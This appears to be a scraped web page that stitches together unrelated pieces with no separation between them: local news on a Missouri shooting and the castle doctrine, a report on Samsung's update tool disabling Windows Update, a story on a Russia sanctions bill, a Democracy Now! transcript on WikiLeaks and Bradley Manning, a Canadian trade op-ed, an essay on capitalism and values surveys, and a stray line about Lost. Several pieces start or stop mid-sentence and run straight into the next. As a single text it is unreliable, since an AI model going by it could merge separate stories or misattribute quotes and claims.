This case was investigated by U.S. Immigration and Custom’s Enforcement’s Homeland Security Investigations.
Copyright 2017 by WKMG ClickOrlando - All rights reserved.Prosecutor Holds Off On Filing Charges Against SGF Shooter, Self-Defense May Have Played Role Copyright 2019 Nexstar Broadcasting, Inc. All rights reserved. This material may not be published, broadcast, rewritten, or redistributed. Video
SPRINGFIELD, Mo. - The Greene County prosecutor is holding off on filing charges in a Springfield shooting until it can be determined whether the shooter acted in self defense.
A 24-year-old man shot and killed 28-year-old Jacob merriment in the front yard of a home in west Springfield Saturday night.
The Springfield Police Department took the 24-year-old man into custody and released him within 24 hours.
Prosecutor Dan Patterson told KOLR10 News Monday his staff is still working to investigate several items, including whether the shooter was justified under a self-defense law known as “the castle doctrine.”
Springfield Defense Attorney Adam Woody said the castle doctrine gives homeowners leeway to use force against someone to protect their life or property.
"Home break-ins and burglaries are becoming increasingly common unfortunately, so the castle doctrine is becoming more and more expansive so people can protect themselves in their home," Woody said.
Woody said there is an important word etched in Missouri’s castle doctrine law about a half-dozen times.
"The real touchstone of the inquiry involves reasonableness,” Woody said. “What was reasonable under the circumstances?"
Homeowners do not necessarily have to be in fear of their life for their actions to be justified.
"They can be in fear of any forcible felony being committed upon them and then they're justified in using deadly force to protect themselves, if they are in their home, if they are in their vehicle," Woody said.
Woody said prosecutors tend to air on the side of caution if they cannot be certain they should file charges in these cases.
However, they continue the investigation until there is no doubt in their mind.
"If they're [the aggressor] in the front yard for example, again it will come down to reasonableness --whether the person reasonably believed that another person was going to try to enter their home and use a forcible felony upon them," Woody said.
The castle doctrine is similar to stand-your-ground and duty-to-retreat self defense laws for situations outside the home.
Missouri and Arkansas have a duty to retreat law, meaning it is a person’s job to try to escape the aggressor safely before they are justified in using deadly force.Samsung has allegedly been disabling Windows Update on some computers, so as not to interfere with its own update tool.
The bad behavior was discovered by Patrick Barker, a Microsoft MVP who was researching the issue for another user. While analyzing the user’s system registry, Barker found that installing Samsung’s SW Update tool forced Windows Update to stop working. Attempting to re-enable Windows Update didn’t help, as Samsung’s software would simply disable the Microsoft update tool again upon rebooting.
A Samsung support representative apparently confirmed the activity to Barker, noting that Windows Update installs default drivers that may not work with Samsung’s computers. “For example if there is USB 3.0 on laptop, the ports may not work with the installation of updates. So to prevent this, SW Update tool will prevent the Windows updates,” the representative said.
Keep in mind that SW Update isn’t installed on Samsung PCs by default—it’s available as a download from Samsung’s website for computers running Windows XP and higher—and it’s unclear how many computers are affected. But as VentureBeat points out, other users have complained of this issue before. Only now is the exact cause becoming clear.
We’ve reached out to Samsung for comment, but have yet to hear back. In the meantime, Barker is encouraging users to report SW Update as malware.
Update: Samsung has responded with the following statement, stating that its software indeed alters Windows Update settings on PCs: “It is not true that we are blocking a Windows 8.1 operating system update on our computers. As part of our commitment to consumer satisfaction, we are providing our users with the option to choose if and when they want to update the Windows software on their products. We take product security very seriously and we encourage any Samsung customer with product questions or concerns to contact us directly at 1-800-SAMSUNG.”
Additionally Microsoft provided the following comment to VentureBeat: “Windows Update remains a critical component of our security commitment to our customers. We do not recommend disabling or modifying Windows Update in any way as this could expose a customer to increased security risks. We are in contact with Samsung to address this issue."
Why this matters: Windows Update is a crucial piece of software, handling not just feature updates but the latest security patches from Microsoft. If Samsung has no way to maintain driver compatibility without disabling those updates, that’s a major issue. We can only hope it’s not widespread, and that Samsung has a plan B for affected devices.
Editor's note: This article originally published on June 24, 2015, but was updated June 25 with Samsung's statement.“I don’t know what they will do on their side," Sen. Bob Corker says of House GOP. | AP Photo Senate moves to ease House's holdup of Russia sanctions bill
The Senate has sent the House a proposal to fix the hitch that has delayed a popular package of bipartisan sanctions on Iran and Russia — including limits on President Donald Trump’s power to ease penalties against Vladimir Putin’s government.
The holdup of a sanctions bill that passed the Senate with 98 votes has alarmed Democrats who worry the House GOP may be using the cover of a constitutional objection to make Trump-friendly changes or bottle up the legislation entirely. But Republicans have vowed that they are committed to getting tougher on Tehran and Moscow, dismissing any suggestion that the procedural hiccup is politically motivated.
Story Continued Below
Senate Foreign Relations Chairman Bob Corker (R-Tenn.) said Wednesday that the necessary tweak to the upper chamber’s sanctions bill involves “a small, little language change” and that GOP members and staff on both sides of the Capitol “are all working together.”
But it’s up to the House to approve the Senate’s proposed “easy fix,” Corker added in a brief interview: “I don’t know what they will do on their side. I hope they will take it up quickly and I think they may well do that.”
The Friday Cover Sign up for POLITICO Magazine’s email of the week’s best, delivered to your inbox every Friday morning. Email Sign Up By signing up you agree to receive email newsletters or alerts from POLITICO. You can unsubscribe at any time.
A spokeswoman for House Ways and Means Chairman Kevin Brady (R-Texas) confirmed receipt of the Senate’s language. "We're making good progress on this issue and working to make sure we get this right,” the spokeswoman added.
The trigger for the delay of the Senate’s Iran and Russia sanctions package, according to a source familiar with the holdup |
found that to be extremely interesting, because we also have to remember that Wikileaks is not a one-person operation. And we — those of us that work for Wikileaks in various aspects of it, we all — none of us has all the information. The same thing applies to Julian Assange. So we co-share the responsibilities.
I find this to be appalling, how they are reacting to this. And, you know, let’s bear in mind that Bradley Manning has not been charged yet. So, what are they going to charge him for? If he, in fact, has leaked this, he should be considered a hero, because he is reporting on war crimes that the rest of the world, and in particular the countries that are participating in this war, this illegal war, should know what is happening on the ground there.
AMY GOODMAN: Army Specialist Bradley Manning, who is in intelligence in Iraq, says he was responsible for the leaked videotape as well as hundreds of thousands of classified US government records. Was he the source of the Wikileaks video?
BIRGITTA JÓNSDÓTTIR: I can’t really comment on that. And the only acknowledgement of what he has said is in blog — or in logs that I have not — it’s not been verified if they are true or not. So I can’t really comment on that.
AMY GOODMAN: We’re going to go to break. Then we’re going to come back. We’ll be joined by Daniel Ellsberg — he’s in Berkeley, the Pentagon Papers whistleblower —- and Glenn Greenwald, who’s written extensively about this at Salon.com. This is Democracy Now! Back in a minute. Our guest is Birgitta Jónsdóttir, member of the Icelandic Parliament and a co-producer of that videotape, which they have named “Collateral Murder.” Stay with us.
[break]
AMY GOODMAN: As we talk about the Wikileaks video that has led to, well, a kind of what’s been described as a manhunt for the founder of Wikileaks, Julian Assange, this is a clip from the Iraq video released by Wikileaks. It is about July 2007 attack in Baghdad. This is the moment the US forces first opened fire.
US SOLDIER 5: There, one o’clock. Haven’t seen anything since then.
US SOLDIER 2: Just [expletive]. Once you get on, just open up.
US SOLDIER 1: I am.
US SOLDIER 4: I see your element, got about four Humvees, out along this -—
US SOLDIER 2: You’re clear.
US SOLDIER 1: Alright, firing.
US SOLDIER 4: Let me know when you’ve got them.
US SOLDIER 2: Let’s shoot. Light 'em all up.
US SOLDIER 1: Come on, fire!
US SOLDIER 2: Keep shootin’. Keep shootin’. Keep shootin’. Keep shootin’.
US SOLDIER 6: Hotel, Bushmaster two-six, Bushmaster two-six, we need to move, time now!
US SOLDIER 2: Alright, we just engaged all eight individuals.
AMY GOODMAN: Minutes later, the video shows US forces watching as a van pulls up to evacuate the wounded. They again open fire, killing several more people, wounding two children inside the van.
US SOLDIER 1: Where's that van at?
US SOLDIER 2: Right down there by the bodies.
US SOLDIER 1: OK, yeah.
US SOLDIER 2: Bushmaster, Crazy Horse. We have individuals going to the scene, looks like possibly picking up bodies and weapons.
US SOLDIER 1: Let me engage. Can I shoot?
US SOLDIER 2: Roger. Break. Crazy Horse one-eight, request permission to engage.
US SOLDIER 3: Picking up the wounded?
US SOLDIER 1: Yeah, we’re trying to get permission to engage. Come on, let us shoot!
US SOLDIER 2: Bushmaster, Crazy Horse one-eight.
US SOLDIER 1: They’re taking him.
US SOLDIER 2: Bushmaster, Crazy Horse one-eight.
US SOLDIER 4: This is Bushmaster seven, go ahead.
US SOLDIER 2: Roger. We have a black SUV —- or Bongo truck picking up the bodies. Request permission to engage.
US SOLDIER 4: Bushmaster seven, roger. This is Bushmaster seven, roger. Engage.
US SOLDIER 2: One-eight, engage. Clear.
US SOLDIER 1: Come on!
US SOLDIER 2: Clear. Clear.
US SOLDIER 1: We’re engaging.
US SOLDIER 2: Coming around. Clear.
US SOLDIER 1: Roger. Trying to -—
US SOLDIER 2: Clear.
US SOLDIER 1: I hear 'em — I lost ’em in the dust.
US SOLDIER 3: I got ’em.
US SOLDIER 2: Should have a van in the middle of the road with about twelve to fifteen bodies.
US SOLDIER 1: Oh yeah, look at that. Right through the windshield! Ha ha!
AMY GOODMAN: That was the videotape that was released by Wikileaks. It was classified US military video showing a US helicopter gunship indiscriminately firing on Iraqi civilians, killing twelve people, including a photographer and a driver for Reuters news agency. Actually, Reuters news agency had applied under Freedom of Information Act to get this videotape. They never were able to.
Our guests are Birgitta Jónsdóttir, member of the the Icelandic Parliament, co-producer of what they call the videotape, “Collateral Murder”; Daniel Ellsberg with us in University of California, Berkeley, the most famous whistleblower of the United States, released the Pentagon Papers that many say helped to end the war in Vietnam; and Glenn Greenwald, political and legal blogger for Salon.com.
Daniel Ellsberg, let's go to you. The reports are that the Pentagon is searching for Julian Assange. They have already arrested the soldier in intelligence who says he was responsible for the release of the videotape. He’s been held for three weeks without charge. What are your comments on this case?
DANIEL ELLSBERG: Well, of course, I was in the position of Bradley Manning, having decided that I was in the possession of information that the public deserved to know and the Congress deserved and it had been wrongfully withheld. And at my own risk, I released it, just as Manning has done.
At the same time I was in the position of Julian Assange this week, eluding authorities while I was preparing to put out further secrets. Assange is more in the position of the New York Times and the Post and seventeen other newspapers who received classified information from me. But in my case, as I was putting it out to them, it was essential for me not to be apprehended, so that I could get those copies to them. I hope that Julian stays out long enough to give us, for example, the tape of the other massacre in Afghanistan, the Garani massacre, which allegedly killed some 140 civilians.
JUAN GONZALEZ: Well, Daniel Ellsberg, this whole issue of the 260,000 classified documents that include quite a bit of, apparently, cable communication between State Department officials and diplomats, what’s the potential here in terms of — you’re familiar with cable traffic between diplomats. What is the potential embarrassment that the United States faces here?
DANIEL ELLSBERG: Well, their potential embarrassment is foreshadowed by the leak of the cables from Lieutenant General Eikenberry, our emissary in Kabul, the ambassador to Kabul, whose cables were leaked by some patriot — and I say that with consideration here — someone who properly put out those cables showing that Eikenberry regarded the man to whom he was accredited as irredeemably corrupt, an inappropriate partner for pacification who held no promise of supporting any progress from our point of view there ever, and who was deeply involved in the drug trade, etc., etc. Since he was someone who was soon to be feted by the President personally in the Oval Office and given a tour of garden spots in Georgetown by Secretary of State Clinton, it was, of course, embarrassing to have cables from our ambassador there calling him a drug-dealing crook who had stolen the election and was totally incompetent and offered no possibility of progress.
That kind of embarrassment could appear with our relations with most of the dictatorial regimes we’ve been supporting in the Middle East for years, as in Saudi Arabia, Egypt and elsewhere. Any candid assessments like that would, of course — would actually recommend the realism to us of our own officials, that they their feet on the ground, even while they’re lying to us about who it is they’re supporting and what they hope to achieve.
AMY GOODMAN: I wanted to go back, Daniel Ellsberg, to your reference to Garani. From the Guardian newspaper, it says that Wikileaks has this classified Pentagon video from Afghanistan alleged to show the notorious US airstrike on the village of Garani in May 2009 that killed roughly 140 civilians. While the US disputes the Afghan government’s casualty figure — it put the number at around twenty to thirty civilians — and said that twice as many militants had been killed in the strike, a military investigation concluded that US personnel made significant errors during the attacks. The Garani airstrike is believed to be one of the deadliest attacks in terms of civilian casualties of the US invasion. Are you calling for Wikileaks to post this videotape online?
DANIEL ELLSBERG: Well, first of all, I’d call for President Obama to post that videotape online. Let’s see whether it confirms what his officials and the Bush officials said about it earlier, or what the truth is. Has he seen it himself? He certainly should. He has access to it. And if he does, what excuse would he have for not revealing it? So why is he waiting for Wikileaks to use its sources to decrypt that, when he can just easily release it, as he should have some time ago?
It raises the same questions, and I hope they’ll be addressed this time, as they were not addressed, the same questions, for the Apache helicopter assault that you just saw. Namely, who was it who decided that this was not suitable for Freedom of Information Act release, that it deserved classification on national security grounds? Was that appealed upwards when Reuters was applying for that? Did President Obama himself take a position on that? And if not, who below him? What were the criteria that led to denying this to the public? And how do they stand up when we actually see the results? Is anybody going to be held accountable for wrongly withholding evidence of war crimes in this case and the refusal to prosecute them or hold anyone accountable?
More seriously, two members of that same company of the Apache assault — Josh Stieber and Ethan McCord, I think their names — who did an absolutely admirable move, stimulated by Assange’s release and perhaps Bradley Manning’s release of this videotape, they expressed remorse to the Iraqi people for their participation in the activities of this company. Ethan McCord was the very man — I don’t know if you showed him just now — who actually got the two wounded children, ran off and got the two wounded children from the vehicle, and saved their lives. And both of them expressed great remorse for what they’d done and made the statement, from their experience, that this sort of massacre was an everyday occurrence. Now that’s what requires a real investigation. Is that being done? The same will be true of Garani.
And finally, for the press to look at, what were they reporting at the time? What was the government saying about these two massacres? How does it stand up when we relook at the facts? And what is the media to make of their own inability to penetrate behind those facts and leave it to Wikileaks? Question: would any mainstream media have released either of those videos if it had been handed to them by Bradley Manning or whoever the leaker was? I don’t know the answer to that, but that’s something they should look at.
What are the rules of engagement that permitted these two massacres? And how many other massacres are they generating? The fact is, for nine years now, we’ve been hearing military estimates of how many militants are being killed, as opposed to civilians, with allegedly the civilians being a much smaller proportion. People on the ground, the local people, give absolutely reversed figures, enormous figures for civilians. We claim that we don’t have the ability to go into those denied areas, despite our wonderful progress in the areas. We’re not able to get in there to determine the facts, in many cases. Well, we now know that videos exist that give results very different from what the military were claiming, and could have done so all along. So this is a wonderful opportunity, at last, to judge the honesty or dishonesty of the military figures and get a real sense of how many civilians we’ve actually killed in Iraq and Afghanistan.
JUAN GONZALEZ: I’d like to bring in Glenn Greenwald, the political and legal blogger for Salon.com. Glenn, you’ve written extensively on the Obama administration’s reaction to leakers within the government. Could you talk about this latest development and now the record, the clear record, that’s being established by the Obama administration in this regard?
GLENN GREENWALD: Well, there’s no question. I mean, even the New York Times and Newsweek, albeit a little late in the game, but better late than never, had articles within the last several weeks documenting that the Obama administration’s assault on whistleblowers is more extreme than any prior administration, including the Bush administration, which was frequently accused of trying to silence whistleblowers.
And I think, you know, the important point in this latest case is to emphasize that a lot of caution is required in terms of assuming that we actually know what took place here and that — in terms of what happened with Bradley Manning. I mean, first of all, everything that we know about what happened, or what supposedly happened, comes from a very unstable and untrustworthy source, whose name is Adrian Lamo, a convicted hacker and someone who has severe mental illness. He just, right before this supposedly happened, had been involuntarily committed in a mental institution. And everything that we know comes from what he claims took place, all of which is being filtered through a single reporter who has a very long and odd history with Lamo.
But I think the more important point here is the one that Dan Ellsberg just illustrated and that you just asked about, which is, remember that in 2008 the US military, the US Army counterintelligence division, prepared a report which described Wikileaks as a threat to national security and talked about ways to destroy its ability to function. And the principal thing that they emphasized was, if they create a perception that their sources are no longer safe and they start exposing these sources and creating the perception that Wikileaks itself or associating with it is dangerous, it will dry up the willingness of people to turn over classified information and leak classified information to Wikileaks. That’s exactly what has happened here. Suddenly a twenty-two-year-old private, who supposedly has access to vast amounts of classified information, contacts someone who’s a complete stranger and over the internet, in an internet chat, confesses to crimes that could send him to prison for the rest of his life, and then suddenly there’s a Wikileaks leaker who not only released the video, but turned over a quarter of a million pages of classified diplomatic cables, and then there’s news headlines saying there’s a worldwide manhunt for Wikileaks? I mean, it’s exactly what the US military described it wanted to do in order to destroy Wikileaks. And I think a lot of caution is required here. And that report was prepared before the Apache helicopter video was publicized. Imagine how much now the military wants to destroy Wikileaks. And you combine that with the Obama administration’s war on whistleblowers, and I think an extreme amount of caution is required to — before we assume that what we know what happened in this very strange and odd case.
AMY GOODMAN: Glenn Greenwald, can you talk about the Thomas Drake case?
GLENN GREENWALD: Thomas Drake was an official, a high-ranking official at the National Security Agency, who was aware of extreme amounts of waste and corruption taking place with a variety of contracts that were between the NSA and some of the largest contractors, private contractors. And some of those contracts were to develop surveillance systems that he thought were insufficiently protective of the privacy of American citizens. And he tried to get supervisors and high-level officials within NSA and lawyers within NSA to pay attention to what it was that he had discovered. And he was basically ignored, the way that most whistleblowers within the federal government are ignored when they try to bring exposure to it using the systems within the government.
And so, he went to — allegedly went to a reporter at the Baltimore Sun and told her about what it was that was going on, and she wrote a series of articles detailing the billions and billions of dollars that basically were burned by the NSA in exchange for absolutely nothing. It was pure whistleblowing of the most noble and well-intentioned kind. There’s no indication at all that it even remotely harmed national security. And the Obama administration is now — has now obtained an indictment, the Obama DOJ did, in a way that the Bush administration never did, and is persecuting this very noble whistleblower, which is just part of an overall pattern.
AMY GOODMAN: In April, after the Wikileaks release of the Iraq video, we interviewed Julian Assange on Democracy Now! and asked him about the government crackdown on Wikileaks. He talked about the 2008 US Army counterintelligence report that targeted Wikileaks.
JULIAN ASSANGE: That report sort of looks at different ways to destroy Wikileaks.org or fatally marginalize it. And because our primary asset is the trust that sources have in us — we have a reputation for having never had a source publicly exposed, and as far as I know, that reputation is true — it looks to see whether they can publicly expose some of our sources, prosecute US military whistleblowers — and, in fact, it uses the phrase “whistleblowers,” not people who are leaking indiscriminately — but prosecute US military whistleblowers in order to destabilize us and destroy what it calls our “center of gravity,” the trust that the public and sources have in us.
It also looks at some other methods — again, it’s careful to fine-tune the language, but says that perhaps we could be hacked into and destabilized that way, or perhaps we could be fed information that was fraudulent, and therefore our reputation for integrity could be destroyed. The report is careful on these last two to suggest that maybe other governments could do this. It seems like it’s some kind of license for their claims. They speak about how Iran has blocked us on the internet and China has blocked us on the internet and other governments of a similar type have condemned us, and it lists Israel. And it also lists the case that we had against a Swiss bank in San Francisco in February 2008, a case which we conclusively won.
But in the production of this video in Iceland, where most of the team was over the last month, we did get a number of very unusual surveillance events. So we — I personally had people filming me covertly in cafes, who, when confronted, run off so scared that they even drop their cash, and not Icelanders, outsiders, although there also was some surveillance from Iceland.
Our feeling is now that that surveillance may not have been related to this video. It may more likely have been related to leaks from the US embassy in Iceland that we released. We’re not sure of that. But there was — appears to have been a following of me on an Icelandic air flight out of Iceland to an investigative journalism conference in Norway. We’re not sure that — there are records of two State Department employees on that plane with no luggage. Our suspicion is these are probably the Diplomatic Security Service investigating a leak at the embassy.
We did have a volunteer arrested for some other reason and asked questions in Iceland about Wikileaks, but there are now two sides to this story. So our volunteer says that they asked questions about Wikileaks, and the police say that they asked questions about Wikileaks, but the police say this was because of a sticker on a laptop. Volunteer says that this wasn’t true. And at the moment, we’re unable to confirm whether the police had inside information about the video or whether the volunteer is not telling the truth.
AMY GOODMAN: That was Julian Assange when we interviewed him right after the Wikileaks posted the videotape from the US helicopter gunship in July 12, 2007. We spoke to him actually just a little while ago in April. When we come back from break, we’ll get response from Daniel Ellsberg, the number one whistleblower in this country. This is Democracy Now! Back in a minute.
[break]
AMY GOODMAN: Our guests on the line, Daniel Ellsberg, Pentagon Papers whistleblower; Glenn Greenwald, political and legal blogger for Salon.com. We’re talking about, well, what reports are saying is a Pentagon manhunt for Julian Assange, the founder of Wikileaks, who has released videotape that is from the US military of attacks on Iraqis, and it’s said that he has hundreds of thousands of more documents and more video. Juan?
JUAN GONZALEZ: Yes, well, I’d like to ask Daniel Ellsberg, if he could, if you could respond to some of the caution that Glenn Greenwald was urging in terms of this story and what the possible motivation of the government might be in going after Manning and also after Julian Assange.
DANIEL ELLSBERG: Well, the motivation of the government, which has many, many guilty secrets to keep, to go against any leaker and anyone who proposes to put out, in an efficient way, leakers, with the possibility of really withholding their identity from the government, their interest in preventing that is — I don’t think needs any further elaboration.
Incidentally, much as they would like to discredit Assange’s ability to keep secrets, he cannot be accused of having really leaked any secrets about his sources. It was apparently or allegedly Manning himself who made that choice. Now, Manning is being denigrated in various ways as unstable or disgruntled. These are the usual charges made against any whistleblower, including me. There’s a lot of resonance about in every aspect of this situation, as far as I’m concerned. For instance, why would Manning possibly have confided in someone? Let me conjecture that the Wired magazine article about Lamo that attracted his attention may have given him the — I don’t know Manning — may have given him the feeling that he had some rapport with Lamo of a particular sort, the sort something that was revealed in that journal. We could go on speculating about that.
In my case, I told very few people what I was doing. My former wife, because I had to tell her that she would not be getting alimony; I was about to be in prison for the rest of my life. It so happens that she confided in her step, who in turn told the FBI. So there was an allergy there. I also told Randy Kehler, the Gandhian pacifist who was on his way to prison, who had inspired me to give the Pentagon Papers. I wanted him to know, just before he went to prison, that he had in fact had a useful effect, that his courage had been contagious and not without effect. So, one can have different reasons for passing that on of various kinds.
As for Lamo and what we know, it’s true, as Glenn says, that all we know so far is what Lamo has told us. But let me, in contrast to Glenn here, whom I admire greatly, by the way, totally — I read him every day, first thing — but let me throw caution to the winds here in commenting on this case. The fact is that what Lamo reports Manning is saying has a very familiar and persuasive ring to me. He reports Manning as having said that what he had read and what he was passing on were horrible — evidence of horrible machinations by the US backdoor dealings throughout the Middle East and, in many cases, as he put it, almost crimes. And let me guess that — he’s not a lawyer, but I’ll guess that what looked to him like crimes are crimes, that he was putting out. We know that he put out, or at least it’s very plausible that he put out, the videos that he claimed to Lamo. And that’s enough to go on to get them interested in pursuing both him and the other.
And so, what it comes down, to me, is — and I say throwing caution to the winds here — is that what I’ve heard so far of Assange and Manning — and I haven’t met either of them — is that they are two new heroes of mine, along with Thomas Drake. I’ve got a number of heroes, and they’ve — including Randy Kehler and, for that matter, Glenn Greenwald, who’s on this show, and a number of others. So I believe their action is exemplary. I hope others will follow it. For forty years I’ve hoped that someone would put out information on the scale that I did, but in a more timely way than I did, before I chose to do it in my time. And Manning would be the first person in forty years to have done that, if it is true that he’s put out a great raft of cables, which he regards as criminal. And I give him — I’m very gratified, if that’s the case. And I hope he’s not the last.
So, I notice that Assange has said that he is, without acknowledging Manning as his source, and perhaps not even knowing whether he’s the source, is getting funds and asked for donations to fly a defense team over to Kuwait to help Manning. And I certainly propose to add my donation to that, and I hope others will, too. I expect we can find out how to do that from the Wikileaks.org website. But it seems to me a very worthy cause to defend both Assange and his operation. And so far, I’m not aware of his having done anything, so far, that he should not have done. And on the contrary, everything he’s done puts in very great question the accountability of the people who’ve withheld that information. He has shown much better judgment than the people who have held it — withheld it up 'til now, and so has Manning.
AMY GOODMAN: Daniel Ellsberg, Julian Assange was supposed to be at an event in Las Vegas; he canceled. In New York, he canceled. Clearly, he's very much on the run, very afraid that he will be arrested. Reports are, internationally, that there is a manhunt for him. We also would like to interview him. We’ve just played a clip of what he had to say when we last had him on. Glenn Greenwald, your final comment?
GLENN GREENWALD: Well, I just want to underscore that I agree with everything Daniel Ellsberg said. If Bradley Manning did what he is reputed to have done, he is a hero. Wikileaks is probably engaged in the most important and noble acts of anybody around, and they deserve everybody’s full support and gratitude for doing something to break down the huge wall of secrecy that surrounds our government.
AMY GOODMAN: Glenn Greenwald, political and legal blogger for Salon.com. Dan, you wanted to get in one quick last comment?
DANIEL ELLSBERG: Yeah, one last thing. He’s in danger of more than arrest. Arrest is probably the major thing, even though it’s not clear what he would be arrested on. But he — I have to say that as of now, under this president, he’s under danger of kidnapping, rendition, enhanced interrogation, even death. The fact is that this president is the first in our history, in any Western country that I know of, who has claimed the right to send military forces not just to apprehend, but to kill suspected, even American citizens. Bradley Manning is probably more safe now being in custody than he would have been if he himself were eluding arrest. Assange, I would say, is in some danger. And even if it’s very small, it should be zero. It’s outrageous and humiliating to me as an American citizen to have to acknowledge that someone like that is in danger from our own government right now, as President Obama has actually announced through his chief of intelligence then, Dennis Blair. That should be investigated.
AMY GOODMAN: Daniel Ellsberg, I want to thank you for being with us, Pentagon Papers whistleblower, and Glenn Greenwald.Since his election, Donald Trump and his officials have been playing a game of good cop-bad cop with Canada over trade. One day an official will warn that NAFTA is in line for a comprehensive renegotiation, that everything is on the table, etc. The next, another will reassure us that Trump loves Canada, that all this renegotiation talk is really about Mexico, that we should not be “enormously” worried. Lather, rinse, repeat.
The goal as in all such games is to wear down resistance by constantly refreshing the capacity for terror — that’s the bad cop’s role — even as the good cop encourages the prisoner to identify with his captors. Responding to this challenge will not be easy, but the one thing we can do is not accept our adversary’s logic: that trade is a zero-sum game in which each side tries to sell more to the other than it buys from it, or (slightly less crudely) that the two should be in balance.
Have another look at those reassuring statements about Canada’s good standing issuing from the new administration. They are invariably accompanied by some reference to Canada-U.S. trade being very nearly in balance, as indeed it is. The implication is that Canada should enjoy a privileged trade status as a reward for its good international trade citizenship — unlike, say, the perfidious Chinese. But the corollary is equally clear: should trade between the two countries stray out of balance, should we start running trade surpluses, we might not be looked
upon so favourably.
So it was that the news that Trump would revive the Keystone XL pipeline project, allowing hundreds of thousands of barrels of Canadian oil to flow across the border every day, was greeted not by unalloyed cheers in this country, as one might expect, but in some quarters by misgivings, even alarm. For what if the result of all those Canadian oil sales was to push our trade into surplus?
Then where would we be?
This is madness. It is nonsense for the Americans to make the trade balance the objective of their trade policy, and it is even greater nonsense for us to adopt it as our own, out of deference. Whether a country has a trade deficit or a trade surplus, that is — with the world in general, let alone with individual countries — does not make the slightest difference to its welfare. It is a primitive fallacy to think that it does.
To see this, it helps to remember that the balance of trade in goods and services, what economist call the current account, is only one type of international payments flow. The other is the capital account: the money we lend to or invest in other countries, or that they lend to or invest in ours. The two, current and capital, must sum to zero, a surplus on the current account matched by a deficit in the capital account and vice versa, not coincidentally but as an accounting identity: foreigners can only lend to us the Canadian dollars they earn from us on trade.
In today’s world of high capital mobility, trade deficits are more often driven by capital surpluses than the reverse. So, to take the United States as an example, high fiscal deficits (and low domestic savings rates) sucked in capital from abroad, much of it from China. To make that possible, China was obliged to run large trade surpluses with the U.S., which in turn required the U.S. dollar to rise against the yuan. That, rather than sneaky Chinese currency manipulation or subsidies, is the primary driver of the U.S. trade deficit.
Sometimes trade deficits can arise from other factors, such as shifts in the relative prices of traded goods. It still makes no sense to obsess about them. Suppose China were to amass a trade surplus with the U.S. on this basis. Great — that entitles China to hold lots and lots of U.S. dollars, which are good for precisely two things: buying U.S. products, or lending to those who would like to do the same.
There’s no sense, then, in which China’s gain is America’s loss. They both gain. That’s how trade works: it only takes place if both sides gain. The point of exporting goods and services is not to pile up mountains of foreign currency reserves, as if these were desirable in themselves. It is so that we can purchase other country’s goods and services: the things that can more efficiently be made elsewhere.
Where did Trump (and others) get the idea that the purpose of trade was to run a surplus? Perhaps, as a businessman, he equates a country’s trade balance with a company’s profit and loss statement. More likely, it is a matter of mistaking accounting for economics. Every first-year economics student is taught that national income equals consumption plus investment plus government spending plus the difference between exports and imports: the trade balance.
That’s true, as a matter of accounting. But it does not follow that an increase in the part results in an increase in the whole. Why? Because the items in that list are not necessarily independent of one another. An increase in consumption, for example, might be at the expense of investment. An increase in government spending, likewise, has to come from somewhere: either from domestic sources (consumption and investment) or from a deterioration in the trade balance.
The trade balance is no different: other things being equal, a larger trade surplus adds to national income. But other things are rarely equal, and aiming for a trade surplus as a matter of policy is likely to do more harm than good.Let’s start with the graph below, which is my nomination for “most important graph in the world.” It shows GDP per capita from the year 1 to the year 2001, broken out by region. You can see the moment when Western Europe’s economy began to eclipse China’s—that first little bump upwards in the blue line, around 1500, when Europeans developed mercantile capitalism. Europeans created nautical and financial technologies to move vast quantities of stuff around using ships. But that bump is nothing compared to the leap upwards in the nineteenth century as Europe—and even more so the United States—developed industrial capitalism. People learned to make things quickly and cheaply, using factories.
Of course the wealth was not well distributed, and industrialization often has a brutal first phase, but within a few generations, material comforts increased dramatically for the (rapidly growing) middle class, the working class, and eventually even for the poor.
I love this graph because it shows us how capitalism changed the West and Japan in the blink of an eye, and it foretells a similar transformation in the rest of the world. Billions of people are rising out of poverty as globalization connects them to international markets and makes it possible for them to engage in work that creates far more economic value than small-scale farming ever could. In a few decades, billions of people will be as wealthy as Americans are today.
But how does that make you feel?
When I show this graph in Asia, the audiences love it, and seem to take it as an aspirational road map. Educated Asians follow GDP growth rates the way Europeans follow soccer scores; they want their team to win. But when I show this graph in Europe and North America, I often receive more ambivalent reactions. “We can’t just keep growing forever!” some say. “We’ll destroy the planet!” say others. These objections seem to come entirely from the political left, which has a history, stretching back centuries, of ambivalence or outright hostility to capitalism.[1]
I agree that the planet can’t support ten billion people consuming at the level of today’s Americans. But I’d like to point out how capitalist development tends to change values and lifestyles in ways that might be reassuring to those who identify as left-leaning, politically, on social and environmental issues.
The best research on how rising prosperity changes people comes from the World Values Survey (WVS), led by Ron Inglehart and Christian Welzel.[2] The WVS has collected data on representative samples of people in many countries every six years or so since the early 1980s. They started with twenty countries and are now up to ninety-five countries in the sixth wave of research. They ask more than a hundred questions on topics such as religion, democracy, women’s rights, capitalism, and national priorities.
After each wave, the authors compute the average scores within each country on each value question, and then they do a procedure called “multi-dimensional scaling” to create a two-dimensional map within which countries can be placed. The computer has no idea what the two dimensions mean—it simply aligns countries with similar value profiles, as you can see in the figure below.
The authors of the WVS interpret the two dimensions, as follows:
The vertical dimension runs from “traditional values” at the bottom (in which people report a high valuation on religion, ritual, hierarchy, and deference to authorities such as God and parents) to “secular rational” values, at the top (which are the opposite).
The Horizontal dimension runs from “survival values” on the left (where people emphasize economic and physical security above all else) to “self-expression” values on the right (where people begin to value things beyond money—in particular they value autonomy and rights; they want the freedom to chart their own course in life, and get more out of life than financial wealth).
The best way to understand the graph is to consider that nearly all societies used to be agricultural societies. Pre-industrial farming cultures generally have traditional and survival values (they cluster in the bottom left quadrant of the map). Life is hard and unpredictable, so you should do your duty, pray to the gods, and cling to your extended family for protection.
But as countries industrialize and people leave the land and enter factories, wealth rises and values shift. Interestingly, countries don’t just move diagonally, from the poor quadrant (currently occupied by the Islamic and African nations) to the rich quadrant (anchored by Scandinavia, in the upper right). Rather, there is a two-step process. First, countries move upward, from traditional/survival values to secular/survival values. When money comes from fitting yourself into the routines of factory production, there’s little time or room for religious ritual. People express materialistic values in this quadrant—they want money, not just for security, but for the social prestige it can buy.
This, I believe, is the step that gives capitalism a bad name in so many countries, particularly among intellectuals and artists. It sure looks like the capitalists are exploiting |
of images mapped out by Lindelof—in his last solo writing credit—to drive us crazy and create a reason for us to want the characters to have to dive down into the hatch.
